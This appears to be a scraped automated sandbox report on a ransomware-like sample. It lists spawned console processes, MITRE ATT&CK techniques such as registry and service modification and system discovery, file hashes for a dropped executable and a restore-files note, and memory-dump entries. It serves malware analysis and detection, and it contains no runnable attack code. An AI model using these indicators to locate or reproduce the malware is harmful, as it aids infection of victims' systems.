\??\C:\Windows\system32\conhost.exe "77312716131011051058184282-699600806-1222122224812397481943162417-827765829"
1⤵
PID:1168

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "90972818-1708562439641901985739821860-16802407761532912011152939018-1171732637"
1⤵
PID:472

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "855720384199411454576625000120271937551934465325878691372-10618714961265158066"
1⤵
PID:5112

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-127445977719664827591107668056-420017193-1843610114700493866-17527235171121442489"
1⤵
PID:2480

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1927175805-15852073911274055081868834928907734825-17841277991896268279-854167611"
1⤵
PID:6548

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-181650811336986580521366903411884089971-26901731243513173245386035149723312"
1⤵
PID:2196

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "162397514114306807161390549202177292321081161036488889203111178046951901902899"
1⤵
PID:3048

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

MD5
813013f775bbf6974e3ff7025349e5cf

SHA1
da163b25fc8daecd8d0d04cb7370a10cd43bd2a6

SHA256
3085ba094b8ad7da6f33ed6cf5191e61a2833c88bcd51140ea848e5c0781f986

SHA512
baa3ccf472333701db4010dc16a248f068f6546737148164387f94f87021b7ee326c1b06df85c2f4b0502e502436cc2f5438d64caaaec35103c4df77b3312adc

Download Submit
C:\Users\Admin\AppData\Local\Temp\a5i40vor.exe

MD5
18126be163eb7df2194bb902c359ba8e

SHA1
6c79d9ca8bf0a3b5f04d317165f48d4eedd04d40

SHA256
a9affdcdb398d437e2e1cd9bc1ccf2d101d79fc6d87e95e960e50847a141faa4

SHA512
4a692579afd1536f70b6ded199d05b1e40d70cb0eae7511f2965f88cc5b024bc55c3a7b3dc90d9b88971f1cd562bb93827707d1cf3c7772fa669632bac2cf1f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\a5i40vor.exe

MD5
18126be163eb7df2194bb902c359ba8e

SHA1
6c79d9ca8bf0a3b5f04d317165f48d4eedd04d40

SHA256
a9affdcdb398d437e2e1cd9bc1ccf2d101d79fc6d87e95e960e50847a141faa4

SHA512
4a692579afd1536f70b6ded199d05b1e40d70cb0eae7511f2965f88cc5b024bc55c3a7b3dc90d9b88971f1cd562bb93827707d1cf3c7772fa669632bac2cf1f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\a5i40vor.exe

MD5
18126be163eb7df2194bb902c359ba8e

SHA1
6c79d9ca8bf0a3b5f04d317165f48d4eedd04d40

SHA256
a9affdcdb398d437e2e1cd9bc1ccf2d101d79fc6d87e95e960e50847a141faa4

SHA512
4a692579afd1536f70b6ded199d05b1e40d70cb0eae7511f2965f88cc5b024bc55c3a7b3dc90d9b88971f1cd562bb93827707d1cf3c7772fa669632bac2cf1f5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5
4161ad458716d099b531c0342816c527

SHA1
fa4dc6686483e5e0d0279223ab0141ea4a4af138

SHA256
39482cca427bec0a99f7203240cf8e63b699bd38009b3611b5704f68efe0ec75

SHA512
aa40c77c1cee71e76bd9cccae4fb8a4190f3809dcaf33eaa9c3804fae68d32620272ed076e8acd7a9ff24b97bce0026ecac4ed7620d3805f26b0edb7c0000413

Download Submit
\??\PIPE\wkssvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\wkssvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\wkssvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\??\PIPE\wkssvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\a5i40vor.exe

MD5
18126be163eb7df2194bb902c359ba8e

SHA1
6c79d9ca8bf0a3b5f04d317165f48d4eedd04d40

SHA256
a9affdcdb398d437e2e1cd9bc1ccf2d101d79fc6d87e95e960e50847a141faa4

SHA512
4a692579afd1536f70b6ded199d05b1e40d70cb0eae7511f2965f88cc5b024bc55c3a7b3dc90d9b88971f1cd562bb93827707d1cf3c7772fa669632bac2cf1f5

Download Submit
\Users\Admin\AppData\Local\Temp\a5i40vor.exe

MD5
18126be163eb7df2194bb902c359ba8e

SHA1
6c79d9ca8bf0a3b5f04d317165f48d4eedd04d40

SHA256
a9affdcdb398d437e2e1cd9bc1ccf2d101d79fc6d87e95e960e50847a141faa4

SHA512
4a692579afd1536f70b6ded199d05b1e40d70cb0eae7511f2965f88cc5b024bc55c3a7b3dc90d9b88971f1cd562bb93827707d1cf3c7772fa669632bac2cf1f5

Download Submit
\Users\Admin\AppData\Local\Temp\a5i40vor.exe

MD5
18126be163eb7df2194bb902c359ba8e

SHA1
6c79d9ca8bf0a3b5f04d317165f48d4eedd04d40

SHA256
a9affdcdb398d437e2e1cd9bc1ccf2d101d79fc6d87e95e960e50847a141faa4

SHA512
4a692579afd1536f70b6ded199d05b1e40d70cb0eae7511f2965f88cc5b024bc55c3a7b3dc90d9b88971f1cd562bb93827707d1cf3c7772fa669632bac2cf1f5

Download Submit
\Users\Admin\AppData\Local\Temp\a5i40vor.exe

MD5
18126be163eb7df2194bb902c359ba8e

SHA1
6c79d9ca8bf0a3b5f04d317165f48d4eedd04d40

SHA256
a9affdcdb398d437e2e1cd9bc1ccf2d101d79fc6d87e95e960e50847a141faa4

SHA512
4a692579afd1536f70b6ded199d05b1e40d70cb0eae7511f2965f88cc5b024bc55c3a7b3dc90d9b88971f1cd562bb93827707d1cf3c7772fa669632bac2cf1f5

Download Submit
memory/272-77-0x0000000000000000-mapping.dmp

Download
memory/276-65-0x0000000000000000-mapping.dmp

Download
memory/280-74-0x0000000000000000-mapping.dmp

Download
memory/472-82-0x0000000000000000-mapping.dmp

Download
memory/524-84-0x0000000000000000-mapping.dmp

Download
memory/572-66-0x0000000000000000-mapping.dmp

Download
memory/644-64-0x0000000000000000-mapping.dmp

Download
memory/656-86-0x0000000000000000-mapping.dmp

Download
memory/768-81-0x0000000000000000-mapping.dmp

Download
memory/872-69-0x0000000000000000-mapping.dmp

Download
memory/928-71-0x0000000000000000-mapping.dmp

Download
memory/956-85-0x0000000000000000-mapping.dmp

Download
memory/1048-80-0x0000000000000000-mapping.dmp

Download
memory/1096-60-0x00000000011D0000-0x00000000011D1000-memory.dmp

Filesize
4KB

Download
memory/1096-62-0x000000001AF00000-0x000000001AF02000-memory.dmp

Filesize
8KB

Download
memory/1132-72-0x0000000000000000-mapping.dmp

Download
memory/1416-78-0x000007FEFC301000-0x000007FEFC303000-memory.dmp

Filesize
8KB

Download
memory/1416-73-0x0000000000000000-mapping.dmp

Download
memory/1600-63-0x0000000000000000-mapping.dmp

Download
memory/1616-87-0x0000000000000000-mapping.dmp

Download
memory/1636-68-0x0000000000000000-mapping.dmp

Download
memory/1692-70-0x0000000000000000-mapping.dmp

Download
memory/1696-67-0x0000000000000000-mapping.dmp

Download
memory/1724-83-0x0000000000000000-mapping.dmp

Download
memory/1756-75-0x0000000000000000-mapping.dmp

Download
memory/2008-76-0x0000000000000000-mapping.dmp

Download
memory/2016-128-0x0000000000000000-mapping.dmp

Download
memory/2076-88-0x0000000000000000-mapping.dmp

Download
memory/2096-89-0x0000000000000000-mapping.dmp

Download
memory/2120-90-0x0000000000000000-mapping.dmp

Download
memory/2152-91-0x0000000000000000-mapping.dmp

Download
memory/2180-92-0x0000000000000000-mapping.dmp

Download
memory/2192-94-0x0000000000000000-mapping.dmp

Download
memory/2200-93-0x0000000000000000-mapping.dmp

Download
memory/2228-95-0x0000000000000000-mapping.dmp

Download
memory/2240-96-0x0000000000000000-mapping.dmp

Download
memory/2268-97-0x0000000000000000-mapping.dmp

Download
memory/2304-98-0x0000000000000000-mapping.dmp

Download
memory/2328-99-0x0000000000000000-mapping.dmp

Download
memory/2348-100-0x0000000000000000-mapping.dmp

Download
memory/2376-101-0x0000000000000000-mapping.dmp

Download
memory/2408-102-0x0000000000000000-mapping.dmp

Download
memory/2420-103-0x0000000000000000-mapping.dmp

Download
memory/2444-104-0x0000000000000000-mapping.dmp

Download
memory/2472-105-0x0000000000000000-mapping.dmp

Download
memory/2492-106-0x0000000000000000-mapping.dmp

Download
memory/2516-107-0x0000000000000000-mapping.dmp

Download
memory/2548-108-0x0000000000000000-mapping.dmp

Download
memory/2564-109-0x0000000000000000-mapping.dmp

Download
memory/2600-110-0x0000000000000000-mapping.dmp

Download
memory/2616-111-0x0000000000000000-mapping.dmp

Download
memory/2648-112-0x0000000000000000-mapping.dmp

Download
memory/2668-113-0x0000000000000000-mapping.dmp

Download
memory/2704-114-0x0000000000000000-mapping.dmp

Download
memory/2720-115-0x0000000000000000-mapping.dmp

Download
memory/2732-116-0x0000000000000000-mapping.dmp

Download
memory/2772-117-0x0000000000000000-mapping.dmp

Download
memory/2820-118-0x0000000000000000-mapping.dmp

Download
memory/2840-119-0x0000000000000000-mapping.dmp

Download
memory/2860-120-0x0000000000000000-mapping.dmp

Download
memory/2880-121-0x0000000000000000-mapping.dmp

Download
memory/2908-122-0x0000000000000000-mapping.dmp

Download
memory/2964-123-0x0000000000000000-mapping.dmp

Download
memory/2976-124-0x0000000000000000-mapping.dmp

Download
memory/3000-125-0x0000000000000000-mapping.dmp

Download
memory/3020-126-0x0000000000000000-mapping.dmp

Download
memory/3056-127-0x0000000000000000-mapping.dmp

Download
memory/5200-159-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/5200-162-0x0000000002690000-0x0000000002691000-memory.dmp

Filesize
4KB

Download
memory/5200-149-0x000000001ADC4000-0x000000001ADC6000-memory.dmp

Filesize
8KB

Download
memory/5200-147-0x000000001ADC0000-0x000000001ADC2000-memory.dmp

Filesize
8KB

Download
memory/5280-135-0x0000000002380000-0x0000000002381000-memory.dmp

Filesize
4KB

Download
memory/5280-154-0x00000000024C0000-0x00000000024C1000-memory.dmp

Filesize
4KB

Download
memory/5280-148-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/5280-146-0x000000001AA94000-0x000000001AA96000-memory.dmp

Filesize
8KB

Download
memory/5280-145-0x000000001AA90000-0x000000001AA92000-memory.dmp

Filesize
8KB

Download
memory/5280-136-0x000000001AB10000-0x000000001AB11000-memory.dmp

Filesize
4KB

Download